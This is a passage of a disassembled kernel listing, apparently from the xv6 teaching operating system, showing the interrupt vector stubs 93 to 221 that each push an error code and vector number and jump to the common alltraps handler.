80105cc4: 6a 5c push $0x5c
jmp alltraps
80105cc6: e9 25 f8 ff ff jmp 801054f0 <alltraps>
80105ccb <vector93>:
.globl vector93
vector93:
pushl $0
80105ccb: 6a 00 push $0x0
pushl $93
80105ccd: 6a 5d push $0x5d
jmp alltraps
80105ccf: e9 1c f8 ff ff jmp 801054f0 <alltraps>
80105cd4 <vector94>:
.globl vector94
vector94:
pushl $0
80105cd4: 6a 00 push $0x0
pushl $94
80105cd6: 6a 5e push $0x5e
jmp alltraps
80105cd8: e9 13 f8 ff ff jmp 801054f0 <alltraps>
80105cdd <vector95>:
.globl vector95
vector95:
pushl $0
80105cdd: 6a 00 push $0x0
pushl $95
80105cdf: 6a 5f push $0x5f
jmp alltraps
80105ce1: e9 0a f8 ff ff jmp 801054f0 <alltraps>
80105ce6 <vector96>:
.globl vector96
vector96:
pushl $0
80105ce6: 6a 00 push $0x0
pushl $96
80105ce8: 6a 60 push $0x60
jmp alltraps
80105cea: e9 01 f8 ff ff jmp 801054f0 <alltraps>
80105cef <vector97>:
.globl vector97
vector97:
pushl $0
80105cef: 6a 00 push $0x0
pushl $97
80105cf1: 6a 61 push $0x61
jmp alltraps
80105cf3: e9 f8 f7 ff ff jmp 801054f0 <alltraps>
80105cf8 <vector98>:
.globl vector98
vector98:
pushl $0
80105cf8: 6a 00 push $0x0
pushl $98
80105cfa: 6a 62 push $0x62
jmp alltraps
80105cfc: e9 ef f7 ff ff jmp 801054f0 <alltraps>
80105d01 <vector99>:
.globl vector99
vector99:
pushl $0
80105d01: 6a 00 push $0x0
pushl $99
80105d03: 6a 63 push $0x63
jmp alltraps
80105d05: e9 e6 f7 ff ff jmp 801054f0 <alltraps>
80105d0a <vector100>:
.globl vector100
vector100:
pushl $0
80105d0a: 6a 00 push $0x0
pushl $100
80105d0c: 6a 64 push $0x64
jmp alltraps
80105d0e: e9 dd f7 ff ff jmp 801054f0 <alltraps>
80105d13 <vector101>:
.globl vector101
vector101:
pushl $0
80105d13: 6a 00 push $0x0
pushl $101
80105d15: 6a 65 push $0x65
jmp alltraps
80105d17: e9 d4 f7 ff ff jmp 801054f0 <alltraps>
80105d1c <vector102>:
.globl vector102
vector102:
pushl $0
80105d1c: 6a 00 push $0x0
pushl $102
80105d1e: 6a 66 push $0x66
jmp alltraps
80105d20: e9 cb f7 ff ff jmp 801054f0 <alltraps>
80105d25 <vector103>:
.globl vector103
vector103:
pushl $0
80105d25: 6a 00 push $0x0
pushl $103
80105d27: 6a 67 push $0x67
jmp alltraps
80105d29: e9 c2 f7 ff ff jmp 801054f0 <alltraps>
80105d2e <vector104>:
.globl vector104
vector104:
pushl $0
80105d2e: 6a 00 push $0x0
pushl $104
80105d30: 6a 68 push $0x68
jmp alltraps
80105d32: e9 b9 f7 ff ff jmp 801054f0 <alltraps>
80105d37 <vector105>:
.globl vector105
vector105:
pushl $0
80105d37: 6a 00 push $0x0
pushl $105
80105d39: 6a 69 push $0x69
jmp alltraps
80105d3b: e9 b0 f7 ff ff jmp 801054f0 <alltraps>
80105d40 <vector106>:
.globl vector106
vector106:
pushl $0
80105d40: 6a 00 push $0x0
pushl $106
80105d42: 6a 6a push $0x6a
jmp alltraps
80105d44: e9 a7 f7 ff ff jmp 801054f0 <alltraps>
80105d49 <vector107>:
.globl vector107
vector107:
pushl $0
80105d49: 6a 00 push $0x0
pushl $107
80105d4b: 6a 6b push $0x6b
jmp alltraps
80105d4d: e9 9e f7 ff ff jmp 801054f0 <alltraps>
80105d52 <vector108>:
.globl vector108
vector108:
pushl $0
80105d52: 6a 00 push $0x0
pushl $108
80105d54: 6a 6c push $0x6c
jmp alltraps
80105d56: e9 95 f7 ff ff jmp 801054f0 <alltraps>
80105d5b <vector109>:
.globl vector109
vector109:
pushl $0
80105d5b: 6a 00 push $0x0
pushl $109
80105d5d: 6a 6d push $0x6d
jmp alltraps
80105d5f: e9 8c f7 ff ff jmp 801054f0 <alltraps>
80105d64 <vector110>:
.globl vector110
vector110:
pushl $0
80105d64: 6a 00 push $0x0
pushl $110
80105d66: 6a 6e push $0x6e
jmp alltraps
80105d68: e9 83 f7 ff ff jmp 801054f0 <alltraps>
80105d6d <vector111>:
.globl vector111
vector111:
pushl $0
80105d6d: 6a 00 push $0x0
pushl $111
80105d6f: 6a 6f push $0x6f
jmp alltraps
80105d71: e9 7a f7 ff ff jmp 801054f0 <alltraps>
80105d76 <vector112>:
.globl vector112
vector112:
pushl $0
80105d76: 6a 00 push $0x0
pushl $112
80105d78: 6a 70 push $0x70
jmp alltraps
80105d7a: e9 71 f7 ff ff jmp 801054f0 <alltraps>
80105d7f <vector113>:
.globl vector113
vector113:
pushl $0
80105d7f: 6a 00 push $0x0
pushl $113
80105d81: 6a 71 push $0x71
jmp alltraps
80105d83: e9 68 f7 ff ff jmp 801054f0 <alltraps>
80105d88 <vector114>:
.globl vector114
vector114:
pushl $0
80105d88: 6a 00 push $0x0
pushl $114
80105d8a: 6a 72 push $0x72
jmp alltraps
80105d8c: e9 5f f7 ff ff jmp 801054f0 <alltraps>
80105d91 <vector115>:
.globl vector115
vector115:
pushl $0
80105d91: 6a 00 push $0x0
pushl $115
80105d93: 6a 73 push $0x73
jmp alltraps
80105d95: e9 56 f7 ff ff jmp 801054f0 <alltraps>
80105d9a <vector116>:
.globl vector116
vector116:
pushl $0
80105d9a: 6a 00 push $0x0
pushl $116
80105d9c: 6a 74 push $0x74
jmp alltraps
80105d9e: e9 4d f7 ff ff jmp 801054f0 <alltraps>
80105da3 <vector117>:
.globl vector117
vector117:
pushl $0
80105da3: 6a 00 push $0x0
pushl $117
80105da5: 6a 75 push $0x75
jmp alltraps
80105da7: e9 44 f7 ff ff jmp 801054f0 <alltraps>
80105dac <vector118>:
.globl vector118
vector118:
pushl $0
80105dac: 6a 00 push $0x0
pushl $118
80105dae: 6a 76 push $0x76
jmp alltraps
80105db0: e9 3b f7 ff ff jmp 801054f0 <alltraps>
80105db5 <vector119>:
.globl vector119
vector119:
pushl $0
80105db5: 6a 00 push $0x0
pushl $119
80105db7: 6a 77 push $0x77
jmp alltraps
80105db9: e9 32 f7 ff ff jmp 801054f0 <alltraps>
80105dbe <vector120>:
.globl vector120
vector120:
pushl $0
80105dbe: 6a 00 push $0x0
pushl $120
80105dc0: 6a 78 push $0x78
jmp alltraps
80105dc2: e9 29 f7 ff ff jmp 801054f0 <alltraps>
80105dc7 <vector121>:
.globl vector121
vector121:
pushl $0
80105dc7: 6a 00 push $0x0
pushl $121
80105dc9: 6a 79 push $0x79
jmp alltraps
80105dcb: e9 20 f7 ff ff jmp 801054f0 <alltraps>
80105dd0 <vector122>:
.globl vector122
vector122:
pushl $0
80105dd0: 6a 00 push $0x0
pushl $122
80105dd2: 6a 7a push $0x7a
jmp alltraps
80105dd4: e9 17 f7 ff ff jmp 801054f0 <alltraps>
80105dd9 <vector123>:
.globl vector123
vector123:
pushl $0
80105dd9: 6a 00 push $0x0
pushl $123
80105ddb: 6a 7b push $0x7b
jmp alltraps
80105ddd: e9 0e f7 ff ff jmp 801054f0 <alltraps>
80105de2 <vector124>:
.globl vector124
vector124:
pushl $0
80105de2: 6a 00 push $0x0
pushl $124
80105de4: 6a 7c push $0x7c
jmp alltraps
80105de6: e9 05 f7 ff ff jmp 801054f0 <alltraps>
80105deb <vector125>:
.globl vector125
vector125:
pushl $0
80105deb: 6a 00 push $0x0
pushl $125
80105ded: 6a 7d push $0x7d
jmp alltraps
80105def: e9 fc f6 ff ff jmp 801054f0 <alltraps>
80105df4 <vector126>:
.globl vector126
vector126:
pushl $0
80105df4: 6a 00 push $0x0
pushl $126
80105df6: 6a 7e push $0x7e
jmp alltraps
80105df8: e9 f3 f6 ff ff jmp 801054f0 <alltraps>
80105dfd <vector127>:
.globl vector127
vector127:
pushl $0
80105dfd: 6a 00 push $0x0
pushl $127
80105dff: 6a 7f push $0x7f
jmp alltraps
80105e01: e9 ea f6 ff ff jmp 801054f0 <alltraps>
80105e06 <vector128>:
.globl vector128
vector128:
pushl $0
80105e06: 6a 00 push $0x0
pushl $128
80105e08: 68 80 00 00 00 push $0x80
jmp alltraps
80105e0d: e9 de f6 ff ff jmp 801054f0 <alltraps>
80105e12 <vector129>:
.globl vector129
vector129:
pushl $0
80105e12: 6a 00 push $0x0
pushl $129
80105e14: 68 81 00 00 00 push $0x81
jmp alltraps
80105e19: e9 d2 f6 ff ff jmp 801054f0 <alltraps>
80105e1e <vector130>:
.globl vector130
vector130:
pushl $0
80105e1e: 6a 00 push $0x0
pushl $130
80105e20: 68 82 00 00 00 push $0x82
jmp alltraps
80105e25: e9 c6 f6 ff ff jmp 801054f0 <alltraps>
80105e2a <vector131>:
.globl vector131
vector131:
pushl $0
80105e2a: 6a 00 push $0x0
pushl $131
80105e2c: 68 83 00 00 00 push $0x83
jmp alltraps
80105e31: e9 ba f6 ff ff jmp 801054f0 <alltraps>
80105e36 <vector132>:
.globl vector132
vector132:
pushl $0
80105e36: 6a 00 push $0x0
pushl $132
80105e38: 68 84 00 00 00 push $0x84
jmp alltraps
80105e3d: e9 ae f6 ff ff jmp 801054f0 <alltraps>
80105e42 <vector133>:
.globl vector133
vector133:
pushl $0
80105e42: 6a 00 push $0x0
pushl $133
80105e44: 68 85 00 00 00 push $0x85
jmp alltraps
80105e49: e9 a2 f6 ff ff jmp 801054f0 <alltraps>
80105e4e <vector134>:
.globl vector134
vector134:
pushl $0
80105e4e: 6a 00 push $0x0
pushl $134
80105e50: 68 86 00 00 00 push $0x86
jmp alltraps
80105e55: e9 96 f6 ff ff jmp 801054f0 <alltraps>
80105e5a <vector135>:
.globl vector135
vector135:
pushl $0
80105e5a: 6a 00 push $0x0
pushl $135
80105e5c: 68 87 00 00 00 push $0x87
jmp alltraps
80105e61: e9 8a f6 ff ff jmp 801054f0 <alltraps>
80105e66 <vector136>:
.globl vector136
vector136:
pushl $0
80105e66: 6a 00 push $0x0
pushl $136
80105e68: 68 88 00 00 00 push $0x88
jmp alltraps
80105e6d: e9 7e f6 ff ff jmp 801054f0 <alltraps>
80105e72 <vector137>:
.globl vector137
vector137:
pushl $0
80105e72: 6a 00 push $0x0
pushl $137
80105e74: 68 89 00 00 00 push $0x89
jmp alltraps
80105e79: e9 72 f6 ff ff jmp 801054f0 <alltraps>
80105e7e <vector138>:
.globl vector138
vector138:
pushl $0
80105e7e: 6a 00 push $0x0
pushl $138
80105e80: 68 8a 00 00 00 push $0x8a
jmp alltraps
80105e85: e9 66 f6 ff ff jmp 801054f0 <alltraps>
80105e8a <vector139>:
.globl vector139
vector139:
pushl $0
80105e8a: 6a 00 push $0x0
pushl $139
80105e8c: 68 8b 00 00 00 push $0x8b
jmp alltraps
80105e91: e9 5a f6 ff ff jmp 801054f0 <alltraps>
80105e96 <vector140>:
.globl vector140
vector140:
pushl $0
80105e96: 6a 00 push $0x0
pushl $140
80105e98: 68 8c 00 00 00 push $0x8c
jmp alltraps
80105e9d: e9 4e f6 ff ff jmp 801054f0 <alltraps>
80105ea2 <vector141>:
.globl vector141
vector141:
pushl $0
80105ea2: 6a 00 push $0x0
pushl $141
80105ea4: 68 8d 00 00 00 push $0x8d
jmp alltraps
80105ea9: e9 42 f6 ff ff jmp 801054f0 <alltraps>
80105eae <vector142>:
.globl vector142
vector142:
pushl $0
80105eae: 6a 00 push $0x0
pushl $142
80105eb0: 68 8e 00 00 00 push $0x8e
jmp alltraps
80105eb5: e9 36 f6 ff ff jmp 801054f0 <alltraps>
80105eba <vector143>:
.globl vector143
vector143:
pushl $0
80105eba: 6a 00 push $0x0
pushl $143
80105ebc: 68 8f 00 00 00 push $0x8f
jmp alltraps
80105ec1: e9 2a f6 ff ff jmp 801054f0 <alltraps>
80105ec6 <vector144>:
.globl vector144
vector144:
pushl $0
80105ec6: 6a 00 push $0x0
pushl $144
80105ec8: 68 90 00 00 00 push $0x90
jmp alltraps
80105ecd: e9 1e f6 ff ff jmp 801054f0 <alltraps>
80105ed2 <vector145>:
.globl vector145
vector145:
pushl $0
80105ed2: 6a 00 push $0x0
pushl $145
80105ed4: 68 91 00 00 00 push $0x91
jmp alltraps
80105ed9: e9 12 f6 ff ff jmp 801054f0 <alltraps>
80105ede <vector146>:
.globl vector146
vector146:
pushl $0
80105ede: 6a 00 push $0x0
pushl $146
80105ee0: 68 92 00 00 00 push $0x92
jmp alltraps
80105ee5: e9 06 f6 ff ff jmp 801054f0 <alltraps>
80105eea <vector147>:
.globl vector147
vector147:
pushl $0
80105eea: 6a 00 push $0x0
pushl $147
80105eec: 68 93 00 00 00 push $0x93
jmp alltraps
80105ef1: e9 fa f5 ff ff jmp 801054f0 <alltraps>
80105ef6 <vector148>:
.globl vector148
vector148:
pushl $0
80105ef6: 6a 00 push $0x0
pushl $148
80105ef8: 68 94 00 00 00 push $0x94
jmp alltraps
80105efd: e9 ee f5 ff ff jmp 801054f0 <alltraps>
80105f02 <vector149>:
.globl vector149
vector149:
pushl $0
80105f02: 6a 00 push $0x0
pushl $149
80105f04: 68 95 00 00 00 push $0x95
jmp alltraps
80105f09: e9 e2 f5 ff ff jmp 801054f0 <alltraps>
80105f0e <vector150>:
.globl vector150
vector150:
pushl $0
80105f0e: 6a 00 push $0x0
pushl $150
80105f10: 68 96 00 00 00 push $0x96
jmp alltraps
80105f15: e9 d6 f5 ff ff jmp 801054f0 <alltraps>
80105f1a <vector151>:
.globl vector151
vector151:
pushl $0
80105f1a: 6a 00 push $0x0
pushl $151
80105f1c: 68 97 00 00 00 push $0x97
jmp alltraps
80105f21: e9 ca f5 ff ff jmp 801054f0 <alltraps>
80105f26 <vector152>:
.globl vector152
vector152:
pushl $0
80105f26: 6a 00 push $0x0
pushl $152
80105f28: 68 98 00 00 00 push $0x98
jmp alltraps
80105f2d: e9 be f5 ff ff jmp 801054f0 <alltraps>
80105f32 <vector153>:
.globl vector153
vector153:
pushl $0
80105f32: 6a 00 push $0x0
pushl $153
80105f34: 68 99 00 00 00 push $0x99
jmp alltraps
80105f39: e9 b2 f5 ff ff jmp 801054f0 <alltraps>
80105f3e <vector154>:
.globl vector154
vector154:
pushl $0
80105f3e: 6a 00 push $0x0
pushl $154
80105f40: 68 9a 00 00 00 push $0x9a
jmp alltraps
80105f45: e9 a6 f5 ff ff jmp 801054f0 <alltraps>
80105f4a <vector155>:
.globl vector155
vector155:
pushl $0
80105f4a: 6a 00 push $0x0
pushl $155
80105f4c: 68 9b 00 00 00 push $0x9b
jmp alltraps
80105f51: e9 9a f5 ff ff jmp 801054f0 <alltraps>
80105f56 <vector156>:
.globl vector156
vector156:
pushl $0
80105f56: 6a 00 push $0x0
pushl $156
80105f58: 68 9c 00 00 00 push $0x9c
jmp alltraps
80105f5d: e9 8e f5 ff ff jmp 801054f0 <alltraps>
80105f62 <vector157>:
.globl vector157
vector157:
pushl $0
80105f62: 6a 00 push $0x0
pushl $157
80105f64: 68 9d 00 00 00 push $0x9d
jmp alltraps
80105f69: e9 82 f5 ff ff jmp 801054f0 <alltraps>
80105f6e <vector158>:
.globl vector158
vector158:
pushl $0
80105f6e: 6a 00 push $0x0
pushl $158
80105f70: 68 9e 00 00 00 push $0x9e
jmp alltraps
80105f75: e9 76 f5 ff ff jmp 801054f0 <alltraps>
80105f7a <vector159>:
.globl vector159
vector159:
pushl $0
80105f7a: 6a 00 push $0x0
pushl $159
80105f7c: 68 9f 00 00 00 push $0x9f
jmp alltraps
80105f81: e9 6a f5 ff ff jmp 801054f0 <alltraps>
80105f86 <vector160>:
.globl vector160
vector160:
pushl $0
80105f86: 6a 00 push $0x0
pushl $160
80105f88: 68 a0 00 00 00 push $0xa0
jmp alltraps
80105f8d: e9 5e f5 ff ff jmp 801054f0 <alltraps>
80105f92 <vector161>:
.globl vector161
vector161:
pushl $0
80105f92: 6a 00 push $0x0
pushl $161
80105f94: 68 a1 00 00 00 push $0xa1
jmp alltraps
80105f99: e9 52 f5 ff ff jmp 801054f0 <alltraps>
80105f9e <vector162>:
.globl vector162
vector162:
pushl $0
80105f9e: 6a 00 push $0x0
pushl $162
80105fa0: 68 a2 00 00 00 push $0xa2
jmp alltraps
80105fa5: e9 46 f5 ff ff jmp 801054f0 <alltraps>
80105faa <vector163>:
.globl vector163
vector163:
pushl $0
80105faa: 6a 00 push $0x0
pushl $163
80105fac: 68 a3 00 00 00 push $0xa3
jmp alltraps
80105fb1: e9 3a f5 ff ff jmp 801054f0 <alltraps>
80105fb6 <vector164>:
.globl vector164
vector164:
pushl $0
80105fb6: 6a 00 push $0x0
pushl $164
80105fb8: 68 a4 00 00 00 push $0xa4
jmp alltraps
80105fbd: e9 2e f5 ff ff jmp 801054f0 <alltraps>
80105fc2 <vector165>:
.globl vector165
vector165:
pushl $0
80105fc2: 6a 00 push $0x0
pushl $165
80105fc4: 68 a5 00 00 00 push $0xa5
jmp alltraps
80105fc9: e9 22 f5 ff ff jmp 801054f0 <alltraps>
80105fce <vector166>:
.globl vector166
vector166:
pushl $0
80105fce: 6a 00 push $0x0
pushl $166
80105fd0: 68 a6 00 00 00 push $0xa6
jmp alltraps
80105fd5: e9 16 f5 ff ff jmp 801054f0 <alltraps>
80105fda <vector167>:
.globl vector167
vector167:
pushl $0
80105fda: 6a 00 push $0x0
pushl $167
80105fdc: 68 a7 00 00 00 push $0xa7
jmp alltraps
80105fe1: e9 0a f5 ff ff jmp 801054f0 <alltraps>
80105fe6 <vector168>:
.globl vector168
vector168:
pushl $0
80105fe6: 6a 00 push $0x0
pushl $168
80105fe8: 68 a8 00 00 00 push $0xa8
jmp alltraps
80105fed: e9 fe f4 ff ff jmp 801054f0 <alltraps>
80105ff2 <vector169>:
.globl vector169
vector169:
pushl $0
80105ff2: 6a 00 push $0x0
pushl $169
80105ff4: 68 a9 00 00 00 push $0xa9
jmp alltraps
80105ff9: e9 f2 f4 ff ff jmp 801054f0 <alltraps>
80105ffe <vector170>:
.globl vector170
vector170:
pushl $0
80105ffe: 6a 00 push $0x0
pushl $170
80106000: 68 aa 00 00 00 push $0xaa
jmp alltraps
80106005: e9 e6 f4 ff ff jmp 801054f0 <alltraps>
8010600a <vector171>:
.globl vector171
vector171:
pushl $0
8010600a: 6a 00 push $0x0
pushl $171
8010600c: 68 ab 00 00 00 push $0xab
jmp alltraps
80106011: e9 da f4 ff ff jmp 801054f0 <alltraps>
80106016 <vector172>:
.globl vector172
vector172:
pushl $0
80106016: 6a 00 push $0x0
pushl $172
80106018: 68 ac 00 00 00 push $0xac
jmp alltraps
8010601d: e9 ce f4 ff ff jmp 801054f0 <alltraps>
80106022 <vector173>:
.globl vector173
vector173:
pushl $0
80106022: 6a 00 push $0x0
pushl $173
80106024: 68 ad 00 00 00 push $0xad
jmp alltraps
80106029: e9 c2 f4 ff ff jmp 801054f0 <alltraps>
8010602e <vector174>:
.globl vector174
vector174:
pushl $0
8010602e: 6a 00 push $0x0
pushl $174
80106030: 68 ae 00 00 00 push $0xae
jmp alltraps
80106035: e9 b6 f4 ff ff jmp 801054f0 <alltraps>
8010603a <vector175>:
.globl vector175
vector175:
pushl $0
8010603a: 6a 00 push $0x0
pushl $175
8010603c: 68 af 00 00 00 push $0xaf
jmp alltraps
80106041: e9 aa f4 ff ff jmp 801054f0 <alltraps>
80106046 <vector176>:
.globl vector176
vector176:
pushl $0
80106046: 6a 00 push $0x0
pushl $176
80106048: 68 b0 00 00 00 push $0xb0
jmp alltraps
8010604d: e9 9e f4 ff ff jmp 801054f0 <alltraps>
80106052 <vector177>:
.globl vector177
vector177:
pushl $0
80106052: 6a 00 push $0x0
pushl $177
80106054: 68 b1 00 00 00 push $0xb1
jmp alltraps
80106059: e9 92 f4 ff ff jmp 801054f0 <alltraps>
8010605e <vector178>:
.globl vector178
vector178:
pushl $0
8010605e: 6a 00 push $0x0
pushl $178
80106060: 68 b2 00 00 00 push $0xb2
jmp alltraps
80106065: e9 86 f4 ff ff jmp 801054f0 <alltraps>
8010606a <vector179>:
.globl vector179
vector179:
pushl $0
8010606a: 6a 00 push $0x0
pushl $179
8010606c: 68 b3 00 00 00 push $0xb3
jmp alltraps
80106071: e9 7a f4 ff ff jmp 801054f0 <alltraps>
80106076 <vector180>:
.globl vector180
vector180:
pushl $0
80106076: 6a 00 push $0x0
pushl $180
80106078: 68 b4 00 00 00 push $0xb4
jmp alltraps
8010607d: e9 6e f4 ff ff jmp 801054f0 <alltraps>
80106082 <vector181>:
.globl vector181
vector181:
pushl $0
80106082: 6a 00 push $0x0
pushl $181
80106084: 68 b5 00 00 00 push $0xb5
jmp alltraps
80106089: e9 62 f4 ff ff jmp 801054f0 <alltraps>
8010608e <vector182>:
.globl vector182
vector182:
pushl $0
8010608e: 6a 00 push $0x0
pushl $182
80106090: 68 b6 00 00 00 push $0xb6
jmp alltraps
80106095: e9 56 f4 ff ff jmp 801054f0 <alltraps>
8010609a <vector183>:
.globl vector183
vector183:
pushl $0
8010609a: 6a 00 push $0x0
pushl $183
8010609c: 68 b7 00 00 00 push $0xb7
jmp alltraps
801060a1: e9 4a f4 ff ff jmp 801054f0 <alltraps>
801060a6 <vector184>:
.globl vector184
vector184:
pushl $0
801060a6: 6a 00 push $0x0
pushl $184
801060a8: 68 b8 00 00 00 push $0xb8
jmp alltraps
801060ad: e9 3e f4 ff ff jmp 801054f0 <alltraps>
801060b2 <vector185>:
.globl vector185
vector185:
pushl $0
801060b2: 6a 00 push $0x0
pushl $185
801060b4: 68 b9 00 00 00 push $0xb9
jmp alltraps
801060b9: e9 32 f4 ff ff jmp 801054f0 <alltraps>
801060be <vector186>:
.globl vector186
vector186:
pushl $0
801060be: 6a 00 push $0x0
pushl $186
801060c0: 68 ba 00 00 00 push $0xba
jmp alltraps
801060c5: e9 26 f4 ff ff jmp 801054f0 <alltraps>
801060ca <vector187>:
.globl vector187
vector187:
pushl $0
801060ca: 6a 00 push $0x0
pushl $187
801060cc: 68 bb 00 00 00 push $0xbb
jmp alltraps
801060d1: e9 1a f4 ff ff jmp 801054f0 <alltraps>
801060d6 <vector188>:
.globl vector188
vector188:
pushl $0
801060d6: 6a 00 push $0x0
pushl $188
801060d8: 68 bc 00 00 00 push $0xbc
jmp alltraps
801060dd: e9 0e f4 ff ff jmp 801054f0 <alltraps>
801060e2 <vector189>:
.globl vector189
vector189:
pushl $0
801060e2: 6a 00 push $0x0
pushl $189
801060e4: 68 bd 00 00 00 push $0xbd
jmp alltraps
801060e9: e9 02 f4 ff ff jmp 801054f0 <alltraps>
801060ee <vector190>:
.globl vector190
vector190:
pushl $0
801060ee: 6a 00 push $0x0
pushl $190
801060f0: 68 be 00 00 00 push $0xbe
jmp alltraps
801060f5: e9 f6 f3 ff ff jmp 801054f0 <alltraps>
801060fa <vector191>:
.globl vector191
vector191:
pushl $0
801060fa: 6a 00 push $0x0
pushl $191
801060fc: 68 bf 00 00 00 push $0xbf
jmp alltraps
80106101: e9 ea f3 ff ff jmp 801054f0 <alltraps>
80106106 <vector192>:
.globl vector192
vector192:
pushl $0
80106106: 6a 00 push $0x0
pushl $192
80106108: 68 c0 00 00 00 push $0xc0
jmp alltraps
8010610d: e9 de f3 ff ff jmp 801054f0 <alltraps>
80106112 <vector193>:
.globl vector193
vector193:
pushl $0
80106112: 6a 00 push $0x0
pushl $193
80106114: 68 c1 00 00 00 push $0xc1
jmp alltraps
80106119: e9 d2 f3 ff ff jmp 801054f0 <alltraps>
8010611e <vector194>:
.globl vector194
vector194:
pushl $0
8010611e: 6a 00 push $0x0
pushl $194
80106120: 68 c2 00 00 00 push $0xc2
jmp alltraps
80106125: e9 c6 f3 ff ff jmp 801054f0 <alltraps>
8010612a <vector195>:
.globl vector195
vector195:
pushl $0
8010612a: 6a 00 push $0x0
pushl $195
8010612c: 68 c3 00 00 00 push $0xc3
jmp alltraps
80106131: e9 ba f3 ff ff jmp 801054f0 <alltraps>
80106136 <vector196>:
.globl vector196
vector196:
pushl $0
80106136: 6a 00 push $0x0
pushl $196
80106138: 68 c4 00 00 00 push $0xc4
jmp alltraps
8010613d: e9 ae f3 ff ff jmp 801054f0 <alltraps>
80106142 <vector197>:
.globl vector197
vector197:
pushl $0
80106142: 6a 00 push $0x0
pushl $197
80106144: 68 c5 00 00 00 push $0xc5
jmp alltraps
80106149: e9 a2 f3 ff ff jmp 801054f0 <alltraps>
8010614e <vector198>:
.globl vector198
vector198:
pushl $0
8010614e: 6a 00 push $0x0
pushl $198
80106150: 68 c6 00 00 00 push $0xc6
jmp alltraps
80106155: e9 96 f3 ff ff jmp 801054f0 <alltraps>
8010615a <vector199>:
.globl vector199
vector199:
pushl $0
8010615a: 6a 00 push $0x0
pushl $199
8010615c: 68 c7 00 00 00 push $0xc7
jmp alltraps
80106161: e9 8a f3 ff ff jmp 801054f0 <alltraps>
80106166 <vector200>:
.globl vector200
vector200:
pushl $0
80106166: 6a 00 push $0x0
pushl $200
80106168: 68 c8 00 00 00 push $0xc8
jmp alltraps
8010616d: e9 7e f3 ff ff jmp 801054f0 <alltraps>
80106172 <vector201>:
.globl vector201
vector201:
pushl $0
80106172: 6a 00 push $0x0
pushl $201
80106174: 68 c9 00 00 00 push $0xc9
jmp alltraps
80106179: e9 72 f3 ff ff jmp 801054f0 <alltraps>
8010617e <vector202>:
.globl vector202
vector202:
pushl $0
8010617e: 6a 00 push $0x0
pushl $202
80106180: 68 ca 00 00 00 push $0xca
jmp alltraps
80106185: e9 66 f3 ff ff jmp 801054f0 <alltraps>
8010618a <vector203>:
.globl vector203
vector203:
pushl $0
8010618a: 6a 00 push $0x0
pushl $203
8010618c: 68 cb 00 00 00 push $0xcb
jmp alltraps
80106191: e9 5a f3 ff ff jmp 801054f0 <alltraps>
80106196 <vector204>:
.globl vector204
vector204:
pushl $0
80106196: 6a 00 push $0x0
pushl $204
80106198: 68 cc 00 00 00 push $0xcc
jmp alltraps
8010619d: e9 4e f3 ff ff jmp 801054f0 <alltraps>
801061a2 <vector205>:
.globl vector205
vector205:
pushl $0
801061a2: 6a 00 push $0x0
pushl $205
801061a4: 68 cd 00 00 00 push $0xcd
jmp alltraps
801061a9: e9 42 f3 ff ff jmp 801054f0 <alltraps>
801061ae <vector206>:
.globl vector206
vector206:
pushl $0
801061ae: 6a 00 push $0x0
pushl $206
801061b0: 68 ce 00 00 00 push $0xce
jmp alltraps
801061b5: e9 36 f3 ff ff jmp 801054f0 <alltraps>
801061ba <vector207>:
.globl vector207
vector207:
pushl $0
801061ba: 6a 00 push $0x0
pushl $207
801061bc: 68 cf 00 00 00 push $0xcf
jmp alltraps
801061c1: e9 2a f3 ff ff jmp 801054f0 <alltraps>
801061c6 <vector208>:
.globl vector208
vector208:
pushl $0
801061c6: 6a 00 push $0x0
pushl $208
801061c8: 68 d0 00 00 00 push $0xd0
jmp alltraps
801061cd: e9 1e f3 ff ff jmp 801054f0 <alltraps>
801061d2 <vector209>:
.globl vector209
vector209:
pushl $0
801061d2: 6a 00 push $0x0
pushl $209
801061d4: 68 d1 00 00 00 push $0xd1
jmp alltraps
801061d9: e9 12 f3 ff ff jmp 801054f0 <alltraps>
801061de <vector210>:
.globl vector210
vector210:
pushl $0
801061de: 6a 00 push $0x0
pushl $210
801061e0: 68 d2 00 00 00 push $0xd2
jmp alltraps
801061e5: e9 06 f3 ff ff jmp 801054f0 <alltraps>
801061ea <vector211>:
.globl vector211
vector211:
pushl $0
801061ea: 6a 00 push $0x0
pushl $211
801061ec: 68 d3 00 00 00 push $0xd3
jmp alltraps
801061f1: e9 fa f2 ff ff jmp 801054f0 <alltraps>
801061f6 <vector212>:
.globl vector212
vector212:
pushl $0
801061f6: 6a 00 push $0x0
pushl $212
801061f8: 68 d4 00 00 00 push $0xd4
jmp alltraps
801061fd: e9 ee f2 ff ff jmp 801054f0 <alltraps>
80106202 <vector213>:
.globl vector213
vector213:
pushl $0
80106202: 6a 00 push $0x0
pushl $213
80106204: 68 d5 00 00 00 push $0xd5
jmp alltraps
80106209: e9 e2 f2 ff ff jmp 801054f0 <alltraps>
8010620e <vector214>:
.globl vector214
vector214:
pushl $0
8010620e: 6a 00 push $0x0
pushl $214
80106210: 68 d6 00 00 00 push $0xd6
jmp alltraps
80106215: e9 d6 f2 ff ff jmp 801054f0 <alltraps>
8010621a <vector215>:
.globl vector215
vector215:
pushl $0
8010621a: 6a 00 push $0x0
pushl $215
8010621c: 68 d7 00 00 00 push $0xd7
jmp alltraps
80106221: e9 ca f2 ff ff jmp 801054f0 <alltraps>
80106226 <vector216>:
.globl vector216
vector216:
pushl $0
80106226: 6a 00 push $0x0
pushl $216
80106228: 68 d8 00 00 00 push $0xd8
jmp alltraps
8010622d: e9 be f2 ff ff jmp 801054f0 <alltraps>
80106232 <vector217>:
.globl vector217
vector217:
pushl $0
80106232: 6a 00 push $0x0
pushl $217
80106234: 68 d9 00 00 00 push $0xd9
jmp alltraps
80106239: e9 b2 f2 ff ff jmp 801054f0 <alltraps>
8010623e <vector218>:
.globl vector218
vector218:
pushl $0
8010623e: 6a 00 push $0x0
pushl $218
80106240: 68 da 00 00 00 push $0xda
jmp alltraps
80106245: e9 a6 f2 ff ff jmp 801054f0 <alltraps>
8010624a <vector219>:
.globl vector219
vector219:
pushl $0
8010624a: 6a 00 push $0x0
pushl $219
8010624c: 68 db 00 00 00 push $0xdb
jmp alltraps
80106251: e9 9a f2 ff ff jmp 801054f0 <alltraps>
80106256 <vector220>:
.globl vector220
vector220:
pushl $0
80106256: 6a 00 push $0x0
pushl $220
80106258: 68 dc 00 00 00 push $0xdc
jmp alltraps
8010625d: e9 8e f2 ff ff jmp 801054f0 <alltraps>
80106262 <vector221>:
.globl vector221
vector221:
pushl $0
80106262: 6a 00 push $0x0
pushl $221
80106264: 68 dd 00 00 00 push $0xdd
jmp alltraps
